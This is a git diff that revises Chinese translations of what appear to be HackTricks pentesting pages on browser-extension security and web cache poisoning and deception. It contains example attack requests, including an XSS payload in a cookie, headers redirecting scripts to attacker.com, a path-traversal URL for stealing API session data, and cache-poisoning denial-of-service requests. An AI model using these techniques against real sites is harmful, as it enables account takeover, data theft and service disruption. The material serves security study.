 在创建新扩展时，应该优先使用 promises 而不是回调。关于回调的使用，只有在同步上下文中直接执行 `sendResponse()` 函数，或者事件处理程序通过返回 `true` 表示异步操作时，`sendResponse()` 函数才被视为有效。如果没有任何处理程序返回 `true`，或者 `sendResponse()` 函数从内存中移除（被垃圾回收），则与 `sendMessage()` 函数关联的回调将默认被触发。
 
 ## Native Messaging
 
-浏览器扩展还允许通过 **stdin 与系统中的二进制文件进行通信**。应用程序必须安装一个 json 来指示这一点，格式如下：
+浏览器扩展还允许通过 **stdin** 与系统中的 **二进制文件** 进行通信。应用程序必须安装一个 json 来指示这一点，格式如下：
 ```json
 {
 "name": "com.my_company.my_application",
@@ -539,7 +539,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 }
 ```
-`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串，用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径，只有 1 种有效的 `type`，即 stdio（使用 stdin 和 stdout），`allowed_origins` 表示可以访问它的扩展（不能使用通配符）。
+`name` 是传递给 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 或 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 的字符串，用于从浏览器扩展的后台脚本与应用程序进行通信。`path` 是二进制文件的路径，只有 1 种有效的 `type`，即 stdio（使用 stdin 和 stdout），而 `allowed_origins` 表示可以访问它的扩展（不能使用通配符）。
 
 Chrome/Chromium 会在某些 Windows 注册表和 macOS 和 Linux 的某些路径中搜索此 json（更多信息请参见 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)）。
 
@@ -561,13 +561,13 @@ console.log("Received " + response)
 1. 浏览器扩展对内容脚本有一个通配符模式。
 2. 内容脚本使用`sendMessage`将`postMessage`消息传递给后台脚本。
 3. 后台脚本使用`sendNativeMessage`将消息传递给本机应用程序。
-4. 本机应用程序危险地处理消息，导致代码执行。
+4. 本机应用程序以危险的方式处理消息，导致代码执行。
 
-其中解释了**如何从任何页面利用浏览器扩展进行RCE**的示例。
+其中解释了**如何从任何页面通过浏览器扩展实现RCE**的示例。
 
 ## 内存/代码/剪贴板中的敏感信息
 
-如果浏览器扩展将**敏感信息存储在其内存中**，则可能会被**转储**（特别是在Windows机器上）并**搜索**这些信息。
+如果浏览器扩展在**内存中存储敏感信息**，则可能会被**转储**（特别是在Windows机器上）并**搜索**这些信息。
 
 因此，浏览器扩展的内存**不应被视为安全**，而且**敏感信息**如凭据或助记短语**不应存储**。
 
@@ -610,7 +610,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
 
 ### 查看本地安装扩展的源代码
 
-本地安装的 Chrome 扩展也可以被检查。方法如下：
+本地安装的 Chrome 扩展也可以进行检查。方法如下：
 
 1. 通过访问 `chrome://version/` 并找到“Profile Path”字段来访问您的 Chrome 本地配置文件目录。
 2. 在配置文件目录中导航到 `Extensions/` 子文件夹。
@@ -654,7 +654,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 - [ ] 如果后台脚本通过**本机消息传递**进行通信，请检查通信是否安全且经过清理。
 - [ ] **敏感信息不应存储**在浏览器扩展**代码**中。
 - [ ] **敏感信息不应存储**在浏览器扩展**内存**中。
-- [ ] **敏感信息不应存储**在**文件系统中未受保护**。
+- [ ] **敏感信息不应存储**在**文件系统中未加保护**。
 
 ## 浏览器扩展风险
 
@@ -664,7 +664,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
-- 从提供的Chrome网上应用店链接提取任何Chrome扩展。
+- 从提供的Chrome网上应用店链接中提取任何Chrome扩展。
 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**：简单地显示扩展清单的JSON美化版本。
 - **指纹分析**：检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成Chrome扩展指纹JavaScript。
 - **潜在Clickjacking分析**：检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能易受Clickjacking攻击，具体取决于页面的目的。
@@ -672,24 +672,24 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 - **危险函数**：显示可能被攻击者利用的危险函数的位置（例如，innerHTML、chrome.tabs.executeScript等函数）。
 - **入口点**：显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。
 - 危险函数和入口点扫描器生成的警报具有以下内容：
-  - 相关代码片段和导致警报的行。
-  - 问题描述。
-  - “查看文件”按钮以查看包含代码的完整源文件。
-  - 警报文件的路径。
-  - 警报文件的完整Chrome扩展URI。
-  - 文件类型，例如后台页面脚本、内容脚本、浏览器操作等。
-  - 如果易受攻击的行在JavaScript文件中，所有包含该行的页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
-- **内容安全策略（CSP）分析器和绕过检查器**：这将指出扩展CSP中的弱点，并揭示由于白名单CDN等原因绕过CSP的潜在方法。
+- 相关代码片段和导致警报的行。
+- 问题描述。
+- “查看文件”按钮以查看包含代码的完整源文件。
+- 警报文件的路径。
+- 警报文件的完整Chrome扩展URI。
+- 文件类型，例如后台页面脚本、内容脚本、浏览器操作等。
+- 如果易受攻击的行在JavaScript文件中，则包括它的所有页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
+- **内容安全策略（CSP）分析器和绕过检查器**：这将指出扩展CSP中的弱点，并将揭示由于白名单CDN等原因绕过CSP的潜在方法。
 - **已知漏洞库**：使用[Retire.js](https://retirejs.github.io/retire.js/)检查是否使用了已知漏洞的JavaScript库。
 - 下载扩展和格式化版本。
 - 下载原始扩展。
 - 下载美化版本的扩展（自动美化的HTML和JavaScript）。
-- 扫描结果的自动缓存，第一次运行扩展扫描将花费相当长的时间。然而，第二次运行时，假设扩展没有更新，将几乎是瞬时的，因为结果被缓存。
-- 可链接的报告URL，轻松将其他人链接到tarnish生成的扩展报告。
+- 扫描结果的自动缓存，第一次运行扩展扫描将花费相当长的时间。然而，第二次运行时，假设扩展没有更新，将几乎是瞬时的，因为结果已被缓存。
+- 可链接的报告URL，轻松将其他人链接到由Tarnish生成的扩展报告。
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Neto项目是一个Python 3包，旨在分析和揭示知名浏览器（如Firefox和Chrome）浏览器插件和扩展的隐藏功能。它自动解压打包文件，以从扩展的相关资源中提取这些功能，如`manifest.json`、本地化文件夹或JavaScript和HTML源文件。
+项目Neto是一个Python 3包，旨在分析和揭示知名浏览器（如Firefox和Chrome）浏览器插件和扩展的隐藏功能。它自动解压打包文件，以从扩展的相关资源中提取这些功能，如`manifest.json`、本地化文件夹或JavaScript和HTML源文件。
 
 ## 参考文献
 
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index 30374d149..603904f86 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -75,11 +75,11 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
 ```
 ## Metamask 示例
 
-一个关于 Metamask 中 ClickJacking 的[**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下，Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**（例如不是 **`chrome:`**）来修复漏洞：
+一个关于 Metamask 中 ClickJacking 的[**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下，Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**（例如不是 **`chrome:`**）来修复该漏洞：
 
 <figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
 
-**另一个在 Metamask 扩展中修复的 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击以列入白名单**，因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击，攻击者可以利用它显示一些正常的内容，使受害者在未注意的情况下点击以列入白名单，然后再返回到将被列入白名单的钓鱼页面。
+**另一个在 Metamask 扩展中修复的 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击以列入白名单**，因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击，攻击者可以利用它显示一些正常内容，使受害者在未注意的情况下点击以列入白名单，然后再返回到将被列入白名单的钓鱼页面。
 
 ## Steam Inventory Helper 示例
 
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index 4d895a160..0cfe7587f 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -8,7 +8,7 @@
 
 权限在扩展的 **`manifest.json`** 文件中使用 **`permissions`** 属性定义，允许访问浏览器可以访问的几乎所有内容（Cookies 或物理存储）：
 
-前面的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [存储 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久地存储其数据。与给用户某种控制级别的 cookies 或 `localStorage` API 不同，**扩展存储通常只能通过卸载扩展来清除**。
+之前的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久地存储其数据。与给用户某种控制级别的 cookies 或 `localStorage` API 不同，**扩展存储通常只能通过卸载扩展来清除**。
 
 扩展将请求其 **`manifest.json`** 文件中指示的权限。安装扩展后，您可以 **始终在浏览器中检查其权限**，如图所示：
 
@@ -43,7 +43,7 @@
 
 ### 标签
 
-此外，**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)，不仅可以获取 **用户的浏览器标签列表**，还可以了解哪个 **网页（即地址和标题）被加载**。
+此外，**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)，不仅可以获取 **用户的浏览器标签列表**，还可以了解 **加载了哪个网页（即地址和标题）**。
 
 > [!CAUTION]
 > 不仅如此，像 [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **这样的监听器也变得更加有用。** 每当新页面加载到标签中时，它们将收到通知。
@@ -52,10 +52,10 @@
 
 内容脚本不一定是静态写入扩展清单中的。只要有足够的 **`host_permissions`**，**扩展也可以通过调用** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **或** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **动态加载它们。**
 
-这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本，还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入，而后者期望一个 JavaScript 函数，这样更不容易受到注入漏洞的影响。不过，如果滥用这两个 API，都会造成严重后果。
+这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本，还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入，而后者期望一个 JavaScript 函数，这样更不容易受到注入漏洞的影响。不过，如果滥用，这两个 API 都会造成严重后果。
 
 > [!CAUTION]
-> 除了上述功能外，内容脚本还可以例如 **拦截凭据**，当这些凭据被输入到网页时。滥用它们的另一种经典方式是 **在每个网站上注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后，它们可以 **操纵银行** 网站以重新路由资金转移。
+> 除了上述功能，内容脚本还可以例如 **拦截凭据**，因为这些凭据被输入到网页中。滥用它们的另一种经典方式是 **在每个网站上注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后，它们可以 **操纵银行** 网站以重新路由资金转移。
 
 ### 隐式权限 <a href="#implicit-privileges" id="implicit-privileges"></a>
 
@@ -70,16 +70,16 @@
 
 [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) 与 `tabs.create()` 非常相似，但会 **修改现有标签**。因此，恶意扩展可以例如任意加载一个广告页面到您的一个标签中，并且它可以激活相应的标签。
 
-### 网络摄像头、地理位置等 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
+### 网络摄像头、地理位置及其他 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
 
-您可能知道，网站可以请求特殊权限，例如访问您的网络摄像头（视频会议工具）或地理位置（地图）。这是具有相当滥用潜力的功能，因此用户每次都必须确认他们仍然希望这样做。
+您可能知道，网站可以请求特殊权限，例如访问您的网络摄像头（视频会议工具）或地理位置（地图）。这是一种具有相当滥用潜力的功能，因此用户每次都必须确认他们仍然希望这样做。
 
 > [!CAUTION]
-> 浏览器扩展则不是。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**，它只需请求一次权限**
+> 浏览器扩展则不是。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**，它只需要请求一次权限**
 
 通常，扩展会在安装后立即这样做。一旦接受了此提示，**网络摄像头访问在任何时候都是可能的**，即使用户此时没有与扩展交互。是的，用户只有在扩展确实需要网络摄像头访问时才会接受此提示。但在那之后，他们必须信任扩展不会秘密录制任何内容。
 
-通过访问 [您的确切地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)，显式授予权限根本不必要。**扩展只需将 `geolocation` 或 `clipboard` 添加到其** [**权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此，具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中复制的密码。
+访问 [您确切的地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) 时，显式授予权限根本不必要。**扩展只需将 `geolocation` 或 `clipboard` 添加到其** [**权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此，具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中复制的密码。
 
 将 **`history`** 关键字添加到扩展清单的 [权限条目](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 中授予 **访问** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) 的权限。它允许一次性检索用户的整个浏览历史，而无需等待用户再次访问这些网站。
 
@@ -93,15 +93,15 @@
 
 ### 更多权限
 
-您可以在 [**这里找到 Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)，以及 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。**
+您可以在这里找到 [**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 和 [**Firefox 扩展的完整列表**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。**
 
 ## 预防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
 
-谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限，从而有效减轻过度权限请求的情况。一个浏览器扩展超越这一界限的实例涉及其与浏览器本身一起分发，而不是通过附加组件商店。
+谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限，从而有效减轻过度权限请求的情况。一个浏览器扩展越界的实例涉及其与浏览器本身一起分发，而不是通过附加组件商店。
 
 浏览器还可以进一步遏制扩展权限的滥用。例如，Chrome 的 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 和 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API，用于屏幕录制，旨在最小化滥用。tabCapture API 只能通过直接用户交互激活，例如点击扩展图标，而 desktopCapture 需要用户确认要录制的窗口，从而防止秘密录制活动。
 
-然而，收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要，允许扩展在用户明确激活时仅访问当前标签。该模型对于需要用户主动操作的扩展有效，但对于需要自动或预先操作的扩展则显得不足，从而妨碍了便利性和即时响应。
+然而，收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要，允许扩展在用户明确激活时仅访问当前标签。该模型对需要用户主动操作的扩展有效，但对于需要自动或预先操作的扩展则显得不足，从而妨碍了便利性和即时响应能力。
 
 ## **参考文献**
 
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index 865223402..d73573c0e 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -78,7 +78,7 @@ $("section.bookmark-container .existing-items").append(bookmarkItem)
 persistData()
 })
 ```
-该代码片段从 **`txtName`** 输入字段获取 **值**，并使用 **字符串连接生成 HTML**，然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。
+此代码片段从 **`txtName`** 输入字段获取 **值**，并使用 **字符串连接生成 HTML**，然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。
 
 通常，Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而，由于 **CSP 放宽了 ‘unsafe-eval’** 和使用 jQuery 的 DOM 操作方法（这些方法使用 [`globalEval()`](https://api.jquery.com/jquery.globaleval/) 将脚本传递给 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) 在 DOM 插入时），仍然可以进行利用。
 
@@ -94,7 +94,7 @@ persistData()
 [...]
 ],
 ```
-值得注意的是，**`/html/bookmarks.html`** 页面容易受到框架攻击，因此容易受到 **clickjacking** 的影响。此漏洞被利用，将页面嵌入攻击者的网站中，并用 DOM 元素覆盖，从而欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
+值得注意的是，**`/html/bookmarks.html`** 页面容易受到框架攻击，因此容易受到 **clickjacking** 的影响。此漏洞被利用，将页面嵌入攻击者的网站中，并用 DOM 元素覆盖，以欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
 
 ## References
 
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 2f768ca6f..d77d70650 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -15,8 +15,8 @@
 
 执行缓存中毒攻击涉及几个步骤：
 
-1. **识别无键输入**：这些是参数，尽管不是请求被缓存所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
-2. **利用无键输入**：在识别无键输入后，下一步是弄清楚如何滥用这些参数，以一种对攻击者有利的方式修改服务器的响应。
+1. **识别未键入的输入**：这些是参数，尽管不是请求被缓存所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
+2. **利用未键入的输入**：在识别未键入的输入后，下一步是弄清楚如何滥用这些参数，以一种对攻击者有利的方式修改服务器的响应。
 3. **确保被污染的响应被缓存**：最后一步是确保被操纵的响应被存储在缓存中。这样，任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
 
 ### 发现：检查HTTP头
@@ -33,9 +33,9 @@
 cache-poisoning-to-dos.md
 {{#endref}}
 
-但是，请注意，**有时这些状态代码不会被缓存**，因此此测试可能不可靠。
+但是，请注意**有时这些状态代码不会被缓存**，因此此测试可能不可靠。
 
-### 发现：识别和评估无键输入
+### 发现：识别和评估未键入的输入
 
 您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头**。例如，一个页面可能使用头`X-Forwarded-For`来指示客户端从那里加载脚本：
 ```markup
@@ -85,7 +85,7 @@ GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-注意，如果易受攻击的 cookie 被用户广泛使用，常规请求将清除缓存。
+注意，如果易受攻击的 cookie 被用户频繁使用，常规请求将清除缓存。
 
 ### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
@@ -95,9 +95,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### 通过路径遍历进行缓存污染以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥，因为任何匹配 `/share/*` 的内容都会被缓存，而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。
+[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥，因为任何匹配 `/share/*` 的内容将被缓存，而 Cloudflare 不会对 URL 进行规范化，这在请求到达 web 服务器时完成。
 
 这在以下内容中也有更好的解释：
 
@@ -105,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### 使用多个头部利用 web 缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### 使用多个头部利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-有时您需要 **利用多个无键输入** 来滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
+有时您需要 **利用多个未键入的输入** 来滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
 ```markup
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -125,7 +125,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-发送一个带有请求的GET请求，URL和请求体中都包含该请求。如果web服务器使用请求体中的内容，但缓存服务器缓存的是URL中的内容，那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞：
+发送一个GET请求，URL和请求体中都包含请求。如果web服务器使用请求体中的内容，但缓存服务器缓存的是URL中的内容，那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞：
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -160,11 +160,11 @@ ATS 在 URL 中转发了片段而没有去掉它，并仅使用主机、路径
 
 ### GitHub CP-DoS
 
-在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie，因此只能攻击未认证用户。
+在 content-type 头中发送错误值触发了 405 缓存响应。缓存键包含 cookie，因此只能攻击未认证用户。
 
 ### GitLab + GCP CP-DoS
 
-GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此，可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持方法 `PURGE`。
+GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此，可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法。
 
 ### Rack 中间件 (Ruby on Rails)
 
@@ -205,9 +205,9 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
 - _www.example.com/profile.php/%2e%2e/test.js_
 - _使用不太常见的扩展名，如_ `.avif`
 
-另一个非常清晰的例子可以在这个写作中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
+另一个非常清晰的例子可以在这篇文章中找到：[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
 在这个例子中，解释了如果您加载一个不存在的页面，如 _http://www.example.com/home.php/non-existent.css_，将返回 _http://www.example.com/home.php_ 的内容（**包含用户的敏感信息**），并且缓存服务器将保存结果。\
-然后，**攻击者** 可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
+然后，**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
 
 请注意，**缓存代理** 应该被 **配置** 为 **缓存** 文件 **基于** 文件的 **扩展名**（_.css_），而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中，将具有 `text/html` 内容类型，而不是 `text/css` MIME 类型（这是 _.css_ 文件的预期类型）。
 
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
index fe24097cd..1a77c20a4 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
@@ -29,9 +29,9 @@ GET /anas/repos HTTP/2
 Host: redacted.com
 Content-Type: HelloWorld
 ```
-- **无密钥头**
+- **未键头**
 
-一些网站会在请求中看到某些特定的头时返回错误状态代码，例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头的请求：
+一些网站如果在请求中**看到某些特定的头**，例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头时，会返回错误状态代码：
 ```
 GET /app.js HTTP/2
 Host: redacted.com
@@ -44,7 +44,7 @@ Invalid Header
 ```
 - **HTTP 方法覆盖攻击 (HMO)**
 
-如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 的头部更改 HTTP 方法。可以通过更改方法请求有效页面，以便服务器不支持它，从而缓存错误响应：
+如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 的头部更改 HTTP 方法。可以通过更改方法请求有效页面，以便服务器不支持它，从而导致错误响应被缓存：
 ```
 GET /blogs HTTP/1.1
 Host: redacted.com
@@ -63,7 +63,7 @@ Cache: miss
 ```
 - **长重定向 DoS**
 
-如以下示例所示，x 没有被缓存，因此攻击者可以利用重定向响应行为，使重定向发送一个如此大的 URL 以至于返回错误。然后，试图访问没有未缓存的 x 键的 URL 的人将收到错误响应：
+如以下示例所示，x 没有被缓存，因此攻击者可以利用重定向响应行为，使重定向发送一个如此大的 URL 以至于返回错误。然后，试图在没有未缓存的 x 密钥的情况下访问该 URL 的人将收到错误响应：
 ```
 GET /login?x=veryLongUrl HTTP/1.1
 Host: www.cloudflare.com
@@ -80,7 +80,7 @@ CF-Cache-Status: miss
 ```
